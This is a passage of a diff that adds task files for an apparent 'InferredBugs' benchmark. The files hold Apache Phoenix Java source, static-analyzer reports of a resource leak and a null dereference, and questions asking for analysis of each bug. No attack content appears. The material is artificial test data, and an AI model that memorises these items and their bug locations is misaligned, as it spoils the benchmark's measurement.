+                        sqlE.setNextException(ServerUtil.parseServerException(e));
+                    }
+                }
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+            for (int i=0;i<resultObjects.length;i++){
+                Sequence sequence = toIncrementList.get(i);
+                Result result = (Result)resultObjects[i];
+                try {
+                    values[indexes[i]] = sequence.incrementValue(result, op);
+                } catch (SQLException e) {
+                    exceptions[indexes[i]] = e;
+                }
+            }
+        } finally {
+            for (Sequence sequence : sequences) {
+                sequence.getLock().unlock();
+            }
+        }
+    }
+    
+    @Override
+    public void clearTableFromCache(final byte[] tenantId, final byte[] schemaName, final byte[] tableName,
+            final long clientTS) throws SQLException {
+        // clear the meta data cache for the table here
+        try {
+            SQLException sqlE = null;
+            HTableInterface htable = this.getTable(PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES);
+            try {
+                htable.coprocessorService(MetaDataService.class, HConstants.EMPTY_START_ROW, HConstants.EMPTY_END_ROW,
+                        new Batch.Call<MetaDataService, ClearTableFromCacheResponse>() {
+                            @Override
+                            public ClearTableFromCacheResponse call(MetaDataService instance) throws IOException {
+                                ServerRpcController controller = new ServerRpcController();
+                                BlockingRpcCallback<ClearTableFromCacheResponse> rpcCallback = new BlockingRpcCallback<ClearTableFromCacheResponse>();
+                                ClearTableFromCacheRequest.Builder builder = ClearTableFromCacheRequest.newBuilder();
+                                builder.setTenantId(HBaseZeroCopyByteString.wrap(tenantId));
+                                builder.setTableName(HBaseZeroCopyByteString.wrap(tableName));
+                                builder.setSchemaName(HBaseZeroCopyByteString.wrap(schemaName));
+                                builder.setClientTimestamp(clientTS);
+                                instance.clearTableFromCache(controller, builder.build(), rpcCallback);
+                                if (controller.getFailedOn() != null) { throw controller.getFailedOn(); }
+                                return rpcCallback.get();
+                            }
+                        });
+            } catch (IOException e) {
+                throw ServerUtil.parseServerException(e);
+            } catch (Throwable e) {
+                sqlE = new SQLException(e);
+            } finally {
+                try {
+                    if (tenantId.length == 0) tableStatsCache.invalidate(new ImmutableBytesPtr(SchemaUtil.getTableNameAsBytes(schemaName, tableName)));
+                    htable.close();
+                } catch (IOException e) {
+                    if (sqlE == null) {
+                        sqlE = ServerUtil.parseServerException(e);
+                    } else {
+                        sqlE.setNextException(ServerUtil.parseServerException(e));
+                    }
+                } finally {
+                    if (sqlE != null) { throw sqlE; }
+                }
+            }
+        } catch (Exception e) {
+            throw new SQLException(ServerUtil.parseServerException(e));
+        }
+    }
+
+    @SuppressWarnings("deprecation")
+    @Override
+    public void returnSequences(List<SequenceKey> keys, long timestamp, SQLException[] exceptions) throws SQLException {
+        List<Sequence> sequences = Lists.newArrayListWithExpectedSize(keys.size());
+        for (SequenceKey key : keys) {
+            Sequence newSequences = new Sequence(key);
+            Sequence sequence = sequenceMap.putIfAbsent(key, newSequences);
+            if (sequence == null) {
+                sequence = newSequences;
+            }
+            sequences.add(sequence);
+        }
+        try {
+            for (Sequence sequence : sequences) {
+                sequence.getLock().lock();
+            }
+            // Now that we have all the locks we need, attempt to return the unused sequence values
+            List<Append> mutations = Lists.newArrayListWithExpectedSize(sequences.size());
+            List<Sequence> toReturnList = Lists.newArrayListWithExpectedSize(sequences.size());
+            int[] indexes = new int[sequences.size()];
+            for (int i = 0; i < sequences.size(); i++) {
+                Sequence sequence = sequences.get(i);
+                try {
+                    Append append = sequence.newReturn(timestamp);
+                    toReturnList.add(sequence);
+                    mutations.add(append);
+                } catch (EmptySequenceCacheException ignore) { // Nothing to return, so ignore
+                }
+            }
+            if (toReturnList.isEmpty()) {
+                return;
+            }
+            HTableInterface hTable = this.getTable(PhoenixDatabaseMetaData.SEQUENCE_FULLNAME_BYTES);
+            Object[] resultObjects = null;
+            SQLException sqlE = null;
+            try {
+                resultObjects= hTable.batch(mutations);
+            } catch (IOException e){
+                sqlE = ServerUtil.parseServerException(e);
+            } catch (InterruptedException e){
+                // restore the interrupt status
+                Thread.currentThread().interrupt();
+                sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION)
+                .setRootCause(e).build().buildException(); // FIXME ?
+            } finally {
+                try {
+                    hTable.close();
+                } catch (IOException e) {
+                    if (sqlE == null) {
+                        sqlE = ServerUtil.parseServerException(e);
+                    } else {
+                        sqlE.setNextException(ServerUtil.parseServerException(e));
+                    }
+                }
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+            for (int i=0;i<resultObjects.length;i++){
+                Sequence sequence = toReturnList.get(i);
+                Result result = (Result)resultObjects[i];
+                try {
+                    sequence.returnValue(result);
+                } catch (SQLException e) {
+                    exceptions[indexes[i]] = e;
+                }
+            }
+        } finally {
+            for (Sequence sequence : sequences) {
+                sequence.getLock().unlock();
+            }
+        }
+    }
+
+    // Take no locks, as this only gets run when there are no open connections
+    // so there's no danger of contention.
+    @SuppressWarnings("deprecation")
+    private void returnAllSequences(ConcurrentMap<SequenceKey,Sequence> sequenceMap) throws SQLException {
+        List<Append> mutations = Lists.newArrayListWithExpectedSize(sequenceMap.size());
+        for (Sequence sequence : sequenceMap.values()) {
+            mutations.addAll(sequence.newReturns());
+        }
+        if (mutations.isEmpty()) {
+            return;
+        }
+        HTableInterface hTable = this.getTable(PhoenixDatabaseMetaData.SEQUENCE_FULLNAME_BYTES);
+        SQLException sqlE = null;
+        try {
+            hTable.batch(mutations);
+        } catch (IOException e) {
+            sqlE = ServerUtil.parseServerException(e);
+        } catch (InterruptedException e) {
+            // restore the interrupt status
+            Thread.currentThread().interrupt();
+            sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION)
+            .setRootCause(e).build().buildException(); // FIXME ?
+        } finally {
+            try {
+                hTable.close();
+            } catch (IOException e) {
+                if (sqlE == null) {
+                    sqlE = ServerUtil.parseServerException(e);
+                } else {
+                    sqlE.setNextException(ServerUtil.parseServerException(e));
+                }
+            }
+            if (sqlE != null) {
+                throw sqlE;
+            }
+        }
+    }
+    
+    @Override
+    public void addConnection(PhoenixConnection connection) throws SQLException {
+        synchronized (connectionCountLock) {
+            connectionCount++;
+        }
+    }
+
+    @Override
+    public void removeConnection(PhoenixConnection connection) throws SQLException {
+        ConcurrentMap<SequenceKey,Sequence> formerSequenceMap = null;
+        synchronized (connectionCountLock) {
+            if (--connectionCount == 0) {
+                if (!this.sequenceMap.isEmpty()) {
+                    formerSequenceMap = this.sequenceMap;
+                    this.sequenceMap = Maps.newConcurrentMap();
+                }
+            }
+        }
+        // Since we're using the former sequenceMap, we can do this outside
+        // the lock.
+        if (formerSequenceMap != null) {
+            // When there are no more connections, attempt to return any sequences
+            returnAllSequences(formerSequenceMap);
+        }
+    }
+
+    @Override
+    public KeyValueBuilder getKeyValueBuilder() {
+        return this.kvBuilder;
+    }
+
+    @Override
+    public boolean supportsFeature(Feature feature) {
+        // TODO: Keep map of Feature -> min HBase version
+        // For now, only Feature is REVERSE_SCAN and it's not supported in any version yet
+        return false;
+    }
+    
+    @Override
+    public String getUserName() {
+        return userName;
+    }
+    
+    private void checkClosed() {
+        if (closed) {
+            throwConnectionClosedException();
+        }
+    }
+    
+    private void throwConnectionClosedIfNullMetaData() {
+        if (latestMetaData == null) {
+            throwConnectionClosedException();
+        }
+    }
+    
+    private void throwConnectionClosedException() {
+        throw new IllegalStateException("Connection to the cluster is closed");
+    }
+    
+    @Override
+    public PTableStats getTableStats(final byte[] physicalName, final long clientTimeStamp) throws SQLException {
+        try {
+            return tableStatsCache.get(new ImmutableBytesPtr(physicalName), new Callable<PTableStats>() {
+                @Override
+                public PTableStats call() throws Exception {
+                    /*
+                     *  The shared view index case is tricky, because we don't have
+                     *  table metadata for it, only an HBase table. We do have stats,
+                     *  though, so we'll query them directly here and cache them so
+                     *  we don't keep querying for them.
+                     */
+                    HTableInterface statsHTable = ConnectionQueryServicesImpl.this.getTable(PhoenixDatabaseMetaData.SYSTEM_STATS_NAME_BYTES);
+                    try {
+                        return StatisticsUtil.readStatistics(statsHTable, physicalName, clientTimeStamp);
+                    } catch (IOException e) {
+                        logger.warn("Unable to read from stats table", e);
+                        // Just cache empty stats. We'll try again after some time anyway.
+                        return PTableStats.EMPTY_STATS;
+                    } finally {
+                        try {
+                            statsHTable.close();
+                        } catch (IOException e) {
+                            // Log, but continue. We have our stats anyway now.
+                            logger.warn("Unable to close stats table", e);
+                        }
+                    }
+                }
+                
+            });
+        } catch (ExecutionException e) {
+            throw ServerUtil.parseServerException(e);
+        }
+    }
+    
+    @Override
+    public int getSequenceSaltBuckets() {
+        return nSequenceSaltBuckets;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.hadoop.hbase.client.HBaseAdmin` acquired to `admin` by call to `new()` at line 975 is not released after line 979.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConnectionQueryServicesImpl.modifyTable(byte[],HTableDescriptor)
+
+### Procedure Id:
+org.apache.phoenix.query.ConnectionQueryServicesImpl.modifyTable(byte[],org.apache.hadoop.hbase.HTab.54089259b779988f83f6007149971298
+
+### File:
+phoenix-core/src/main/java/org/apache/phoenix/query/ConnectionQueryServicesImpl.java
+
+### Key:
+ConnectionQueryServicesImpl.java|modifyTable|RESOURCE_LEAK
+
+### Node Key:
+2bcff41cc24808a026ba2f9ed1b5e967
+
+### Hash:
+306e9c18dae2d8485325d2680d2b5757
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6052/instruction.md b/inferredbugs-6052/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dd9aff577521b4c9f2d2409181eeb50175a4e0da
--- /dev/null
+++ b/inferredbugs-6052/instruction.md
@@ -0,0 +1,405 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** phoenix
+**Bug ID:** 37
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.phoenix.tx;
+
+import static org.apache.phoenix.util.TestUtil.INDEX_DATA_SCHEMA;
+import static org.apache.phoenix.util.TestUtil.TEST_PROPERTIES;
+import static org.apache.phoenix.util.TestUtil.createTransactionalTable;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.sql.Statement;
+import java.util.Properties;
+
+import org.apache.hadoop.hbase.client.Get;
+import org.apache.hadoop.hbase.client.Put;
+import org.apache.hadoop.hbase.client.Result;
+import org.apache.hadoop.hbase.client.Table;
+import org.apache.hadoop.hbase.util.Bytes;
+import org.apache.phoenix.end2end.ParallelStatsDisabledIT;
+import org.apache.phoenix.exception.SQLExceptionCode;
+import org.apache.phoenix.jdbc.PhoenixConnection;
+import org.apache.phoenix.query.QueryConstants;
+import org.apache.phoenix.transaction.PhoenixTransactionContext;
+import org.apache.phoenix.transaction.PhoenixTransactionalTable;
+import org.apache.phoenix.transaction.TransactionFactory;
+import org.apache.phoenix.util.PropertiesUtil;
+import org.apache.phoenix.util.TestUtil;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * 
+ * Transaction related tests that flap when run in parallel.
+ * TODO: review with Tephra community
+ *
+ */
+@Ignore
+public class FlappingTransactionIT extends ParallelStatsDisabledIT {
+    @Test
+    public void testDelete() throws Exception {
+        String transTableName = generateUniqueName();
+        String fullTableName = INDEX_DATA_SCHEMA + QueryConstants.NAME_SEPARATOR + transTableName;
+        String selectSQL = "SELECT * FROM " + fullTableName;
+        try (Connection conn = DriverManager.getConnection(getUrl());
+                Connection conn1 = DriverManager.getConnection(getUrl()); 
+                Connection conn2 = DriverManager.getConnection(getUrl())) {
+            TestUtil.createTransactionalTable(conn, fullTableName);
+            conn1.setAutoCommit(false);
+            ResultSet rs = conn1.createStatement().executeQuery(selectSQL);
+            assertFalse(rs.next());
+            
+            String upsert = "UPSERT INTO " + fullTableName + "(varchar_pk, char_pk, int_pk, long_pk, decimal_pk, date_pk) VALUES(?, ?, ?, ?, ?, ?)";
+            PreparedStatement stmt = conn1.prepareStatement(upsert);
+            // upsert two rows
+            TestUtil.setRowKeyColumns(stmt, 1);
+            stmt.execute();
+            conn1.commit();
+            
+            TestUtil.setRowKeyColumns(stmt, 2);
+            stmt.execute();
+            
+            // verify rows can be read even though commit has not been called
+            int rowsDeleted = conn1.createStatement().executeUpdate("DELETE FROM " + fullTableName);
+            assertEquals(2, rowsDeleted);
+            
+            // Delete and second upsert not committed yet, so there should be one row.
+            rs = conn2.createStatement().executeQuery("SELECT count(*) FROM " + fullTableName);
+            assertTrue(rs.next());
+            assertEquals(1, rs.getInt(1));
+            
+            conn1.commit();
+            
+            // verify rows are deleted after commit
+            rs = conn1.createStatement().executeQuery(selectSQL);
+            assertFalse(rs.next());
+        }
+    }
+        
+    @Test
+    public void testInflightUpdateNotSeen() throws Exception {
+        String transTableName = generateUniqueName();
+        String fullTableName = INDEX_DATA_SCHEMA + QueryConstants.NAME_SEPARATOR + transTableName;
+        String selectSQL = "SELECT * FROM " + fullTableName;
+        try (Connection conn = DriverManager.getConnection(getUrl());
+                Connection conn1 = DriverManager.getConnection(getUrl()); 
+                Connection conn2 = DriverManager.getConnection(getUrl())) {
+            createTransactionalTable(conn, fullTableName);
+            conn1.setAutoCommit(false);
+            conn2.setAutoCommit(true);
+            ResultSet rs = conn1.createStatement().executeQuery(selectSQL);
+            assertFalse(rs.next());
+            
+            String upsert = "UPSERT INTO " + fullTableName + "(varchar_pk, char_pk, int_pk, long_pk, decimal_pk, date_pk) VALUES(?, ?, ?, ?, ?, ?)";
+            PreparedStatement stmt = conn1.prepareStatement(upsert);
+            // upsert two rows
+            TestUtil.setRowKeyColumns(stmt, 1);
+            stmt.execute();
+            conn1.commit();
+            
+            TestUtil.setRowKeyColumns(stmt, 2);
+            stmt.execute();
+            
+            rs = conn1.createStatement().executeQuery("SELECT count(*) FROM " + fullTableName + " WHERE int_col1 IS NULL");
+            assertTrue(rs.next());
+            assertEquals(2, rs.getInt(1));
+            
+            upsert = "UPSERT INTO " + fullTableName + "(varchar_pk, char_pk, int_pk, long_pk, decimal_pk, date_pk, int_col1) VALUES(?, ?, ?, ?, ?, ?, 1)";
+            stmt = conn1.prepareStatement(upsert);
+            TestUtil.setRowKeyColumns(stmt, 1);
+            stmt.execute();
+            
+            rs = conn1.createStatement().executeQuery("SELECT int_col1 FROM " + fullTableName + " WHERE int_col1 = 1");
+            assertTrue(rs.next());
+            assertEquals(1, rs.getInt(1));
+            assertFalse(rs.next());
+            
+            rs = conn2.createStatement().executeQuery("SELECT count(*) FROM " + fullTableName + " WHERE int_col1 = 1");
+            assertTrue(rs.next());
+            assertEquals(0, rs.getInt(1));
+            rs = conn2.createStatement().executeQuery("SELECT * FROM " + fullTableName + " WHERE int_col1 = 1");
+            assertFalse(rs.next());
+            
+            conn1.commit();
+            
+            rs = conn2.createStatement().executeQuery("SELECT count(*) FROM " + fullTableName + " WHERE int_col1 = 1");
+            assertTrue(rs.next());
+            assertEquals(1, rs.getInt(1));
+            rs = conn2.createStatement().executeQuery("SELECT * FROM " + fullTableName + " WHERE int_col1 = 1");
+            assertTrue(rs.next());
+            assertFalse(rs.next());
+        }
+    }
+    
+    @Test
+    public void testInflightDeleteNotSeen() throws Exception {
+        String transTableName = generateUniqueName();
+        String fullTableName = INDEX_DATA_SCHEMA + QueryConstants.NAME_SEPARATOR + transTableName;
+        String selectSQL = "SELECT * FROM " + fullTableName;
+        try (Connection conn = DriverManager.getConnection(getUrl());
+                Connection conn1 = DriverManager.getConnection(getUrl()); 
+                Connection conn2 = DriverManager.getConnection(getUrl())) {
+            createTransactionalTable(conn, fullTableName);
+            conn1.setAutoCommit(false);
+            conn2.setAutoCommit(true);
+            ResultSet rs = conn1.createStatement().executeQuery(selectSQL);
+            assertFalse(rs.next());
+            
+            String upsert = "UPSERT INTO " + fullTableName + "(varchar_pk, char_pk, int_pk, long_pk, decimal_pk, date_pk) VALUES(?, ?, ?, ?, ?, ?)";
+            PreparedStatement stmt = conn1.prepareStatement(upsert);
+            // upsert two rows
+            TestUtil.setRowKeyColumns(stmt, 1);
+            stmt.execute();
+            TestUtil.setRowKeyColumns(stmt, 2);
+            stmt.execute();
+            
+            conn1.commit();
+            
+            rs = conn1.createStatement().executeQuery("SELECT count(*) FROM " + fullTableName);
+            assertTrue(rs.next());
+            assertEquals(2, rs.getInt(1));
+            
+            String delete = "DELETE FROM " + fullTableName + " WHERE varchar_pk = 'varchar1'";
+            stmt = conn1.prepareStatement(delete);
+            int count = stmt.executeUpdate();
+            assertEquals(1,count);
+            
+            rs = conn1.createStatement().executeQuery("SELECT count(*) FROM " + fullTableName);
+            assertTrue(rs.next());
+            assertEquals(1, rs.getInt(1));
+            assertFalse(rs.next());
+            
+            rs = conn2.createStatement().executeQuery("SELECT count(*) FROM " + fullTableName);
+            assertTrue(rs.next());
+            assertEquals(2, rs.getInt(1));
+            assertFalse(rs.next());
+            
+            conn1.commit();
+            
+            rs = conn2.createStatement().executeQuery("SELECT count(*) FROM " + fullTableName);
+            assertTrue(rs.next());
+            assertEquals(1, rs.getInt(1));
+            assertFalse(rs.next());
+        }
+    }
+
+    @Test
+    public void testExternalTxContext() throws Exception {
+        ResultSet rs;
+        Properties props = PropertiesUtil.deepCopy(TEST_PROPERTIES);
+        Connection conn = DriverManager.getConnection(getUrl(), props);
+        conn.setAutoCommit(false);
+        String fullTableName = generateUniqueName();
+        PhoenixConnection pconn = conn.unwrap(PhoenixConnection.class);
+        
+        Statement stmt = conn.createStatement();
+        stmt.execute("CREATE TABLE " + fullTableName + "(K VARCHAR PRIMARY KEY, V1 VARCHAR, V2 VARCHAR) TRANSACTIONAL=true");
+        Table htable = pconn.getQueryServices().getTable(Bytes.toBytes(fullTableName));
+        stmt.executeUpdate("upsert into " + fullTableName + " values('x', 'a', 'a')");
+        conn.commit();
+
+        try (Connection newConn = DriverManager.getConnection(getUrl(), props)) {
+            rs = newConn.createStatement().executeQuery("select count(*) from " + fullTableName);
+            assertTrue(rs.next());
+            assertEquals(1,rs.getInt(1));
+        }
+
+        PhoenixTransactionContext txContext =
+              TransactionFactory.getTransactionFactory().getTransactionContext(pconn);
+        PhoenixTransactionalTable txTable =
+              TransactionFactory.getTransactionFactory().getTransactionalTable(txContext, htable);
+
+        txContext.begin();
+
+        // Use HBase APIs to add a new row
+        Put put = new Put(Bytes.toBytes("z"));
+        put.addColumn(QueryConstants.DEFAULT_COLUMN_FAMILY_BYTES, QueryConstants.EMPTY_COLUMN_BYTES, QueryConstants.EMPTY_COLUMN_VALUE_BYTES);
+        put.addColumn(QueryConstants.DEFAULT_COLUMN_FAMILY_BYTES, Bytes.toBytes("V1"), Bytes.toBytes("b"));
+        txTable.put(put);
+        
+        // Use Phoenix APIs to add new row (sharing the transaction context)
+        pconn.setTransactionContext(txContext);
+        conn.createStatement().executeUpdate("upsert into " + fullTableName + " values('y', 'c', 'c')");
+
+        // New connection should not see data as it hasn't been committed yet
+        try (Connection newConn = DriverManager.getConnection(getUrl(), props)) {
+            rs = newConn.createStatement().executeQuery("select count(*) from " + fullTableName);
+            assertTrue(rs.next());
+            assertEquals(1,rs.getInt(1));
+        }
+        
+        // Use new connection to create a row with a conflict
+        Connection connWithConflict = DriverManager.getConnection(getUrl(), props);
+        connWithConflict.createStatement().execute("upsert into " + fullTableName + " values('z', 'd', 'd')");
+        
+        // Existing connection should see data even though it hasn't been committed yet
+        rs = conn.createStatement().executeQuery("select count(*) from " + fullTableName);
+        assertTrue(rs.next());
+        assertEquals(3,rs.getInt(1));
+        
+        // Use TM APIs directly to finish (i.e. commit) the transaction
+        txContext.commit();
+        
+        // Confirm that attempt to commit row with conflict fails
+        try {
+            connWithConflict.commit();
+            fail();
+        } catch (SQLException e) {
+            assertEquals(SQLExceptionCode.TRANSACTION_CONFLICT_EXCEPTION.getErrorCode(), e.getErrorCode());
+        }
+        
+        // New connection should now see data as it has been committed
+        try (Connection newConn = DriverManager.getConnection(getUrl(), props)) {
+            rs = newConn.createStatement().executeQuery("select count(*) from " + fullTableName);
+            assertTrue(rs.next());
+            assertEquals(3,rs.getInt(1));
+        }
+        
+        // Repeat the same as above, but this time abort the transaction
+        txContext =
+              TransactionFactory.getTransactionFactory().getTransactionContext(pconn);
+        txTable =
+              TransactionFactory.getTransactionFactory().getTransactionalTable(txContext, htable);
+
+        txContext.begin();
+        
+        // Use HBase APIs to add a new row
+        put = new Put(Bytes.toBytes("j"));
+        put.addColumn(QueryConstants.DEFAULT_COLUMN_FAMILY_BYTES, QueryConstants.EMPTY_COLUMN_BYTES, QueryConstants.EMPTY_COLUMN_VALUE_BYTES);
+        put.addColumn(QueryConstants.DEFAULT_COLUMN_FAMILY_BYTES, Bytes.toBytes("V1"), Bytes.toBytes("e"));
+        txTable.put(put);
+        
+        // Use Phoenix APIs to add new row (sharing the transaction context)
+        pconn.setTransactionContext(txContext);
+        conn.createStatement().executeUpdate("upsert into " + fullTableName + " values('k', 'f', 'f')");
+        
+        // Existing connection should see data even though it hasn't been committed yet
+        rs = conn.createStatement().executeQuery("select count(*) from " + fullTableName);
+        assertTrue(rs.next());
+        assertEquals(5,rs.getInt(1));
+
+        connWithConflict.createStatement().execute("upsert into " + fullTableName + " values('k', 'g', 'g')");
+        rs = connWithConflict.createStatement().executeQuery("select count(*) from " + fullTableName);
+        assertTrue(rs.next());
+        assertEquals(4,rs.getInt(1));
+
+        // Use TM APIs directly to abort (i.e. rollback) the transaction
+        txContext.abort();
+        
+        rs = conn.createStatement().executeQuery("select count(*) from " + fullTableName);
+        assertTrue(rs.next());
+        assertEquals(3,rs.getInt(1));
+
+        // Should succeed since conflicting row was aborted
+        connWithConflict.commit();
+
+        // New connection should now see data as it has been committed
+        try (Connection newConn = DriverManager.getConnection(getUrl(), props)) {
+            rs = newConn.createStatement().executeQuery("select count(*) from " + fullTableName);
+            assertTrue(rs.next());
+            assertEquals(4,rs.getInt(1));
+        }
+        
+        // Even using HBase APIs directly, we shouldn't find 'j' since a delete marker would have been
+        // written to hide it.
+        Result result = htable.get(new Get(Bytes.toBytes("j")));
+        assertTrue(result.isEmpty());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `txContext` last assigned on line 230 could be null and is dereferenced at line 234.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FlappingTransactionIT.testExternalTxContext()
+
+### Procedure Id:
+org.apache.phoenix.tx.FlappingTransactionIT.testExternalTxContext():void.eb24544c5a81d9122e651230c02f1bc3
+
+### File:
+phoenix-core/src/it/java/org/apache/phoenix/tx/FlappingTransactionIT.java
+
+### Key:
+FlappingTransactionIT.java|testExternalTxContext|NULL_DEREFERENCE
+
+### Node Key:
+35952e1e48f94bfadd5c5d77bed0ad37
+
+### Hash:
+d376cbafb25becaba904f66652374123
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6055/instruction.md b/inferredbugs-6055/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ed237a01c767a8ccbfde5997392d6490fb43209f
--- /dev/null
+++ b/inferredbugs-6055/instruction.md
@@ -0,0 +1,501 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** phoenix
+**Bug ID:** 55
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.phoenix.end2end;
+
+import static org.apache.phoenix.query.BaseTest.setUpConfigForMiniCluster;
+import static org.apache.phoenix.util.TestUtil.TEST_PROPERTIES;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.InputStreamReader;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.ResultSetMetaData;
+import java.util.Collection;
+import java.util.List;
+import java.util.Properties;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import com.fasterxml.jackson.core.JsonParser;
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import org.apache.hadoop.conf.Configuration;
+import org.apache.hadoop.hbase.HBaseConfiguration;
+import org.apache.hadoop.hbase.HBaseTestingUtility;
+import org.apache.hadoop.hbase.TableName;
+import org.apache.hadoop.hbase.client.Admin;
+import org.apache.hadoop.hbase.client.ConnectionFactory;
+import org.apache.hadoop.hbase.util.VersionInfo;
+import org.apache.phoenix.coprocessor.MetaDataProtocol;
+import org.apache.phoenix.jdbc.PhoenixDatabaseMetaData;
+import org.apache.phoenix.jdbc.PhoenixDriver;
+import org.apache.phoenix.query.QueryConstants;
+import org.apache.phoenix.query.QueryServices;
+import org.apache.phoenix.query.QueryServicesOptions;
+import org.apache.phoenix.util.PhoenixRuntime;
+import org.apache.phoenix.util.PropertiesUtil;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.experimental.categories.Category;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
+
+import com.google.common.collect.Lists;
+
+
+/**
+ * This class is meant for testing all compatible client versions 
+ * against the current server version. It runs SQL queries with given 
+ * client versions and compares the output against gold files
+ */
+
+@RunWith(Parameterized.class)
+@Category(NeedsOwnMiniClusterTest.class)
+public class BackwardCompatibilityIT {
+
+    private static final String SQL_DIR = "src/it/resources/sql_files/";
+    private static final String RESULT_DIR = "src/it/resources/gold_files/";
+    private static final String COMPATIBLE_CLIENTS_JSON =
+            "src/it/resources/compatible_client_versions.json";
+    private static final String RESULT_PREFIX = "result_";
+    private static final String SQL_EXTENSION = ".sql";
+    private static final String TEXT_EXTENSION = ".txt";
+    private static final String CREATE_ADD = "create_add";
+    private static final String ADD_DATA = "add_data";
+    private static final String ADD_DELETE = "add_delete";
+    private static final String QUERY = "query";
+    private static final String QUERY_MORE = "query_more";
+    private static final String QUERY_ADD_DELETE = "query_add_delete";
+
+    private final String compatibleClientVersion;
+    private static Configuration conf;
+    private static HBaseTestingUtility hbaseTestUtil;
+    private static String zkQuorum;
+    private static String url;
+
+    public BackwardCompatibilityIT(String compatibleClientVersion) {
+        this.compatibleClientVersion = compatibleClientVersion;
+    }
+
+    @Parameters(name = "BackwardCompatibilityIT_compatibleClientVersion={0}")
+    public static synchronized Collection<String> data() throws Exception {
+        return computeClientVersions();
+    }
+
+    @Before
+    public synchronized void doSetup() throws Exception {
+        conf = HBaseConfiguration.create();
+        hbaseTestUtil = new HBaseTestingUtility(conf);
+        setUpConfigForMiniCluster(conf);
+        conf.set(QueryServices.EXTRA_JDBC_ARGUMENTS_ATTRIB, QueryServicesOptions.DEFAULT_EXTRA_JDBC_ARGUMENTS);
+        hbaseTestUtil.startMiniCluster();
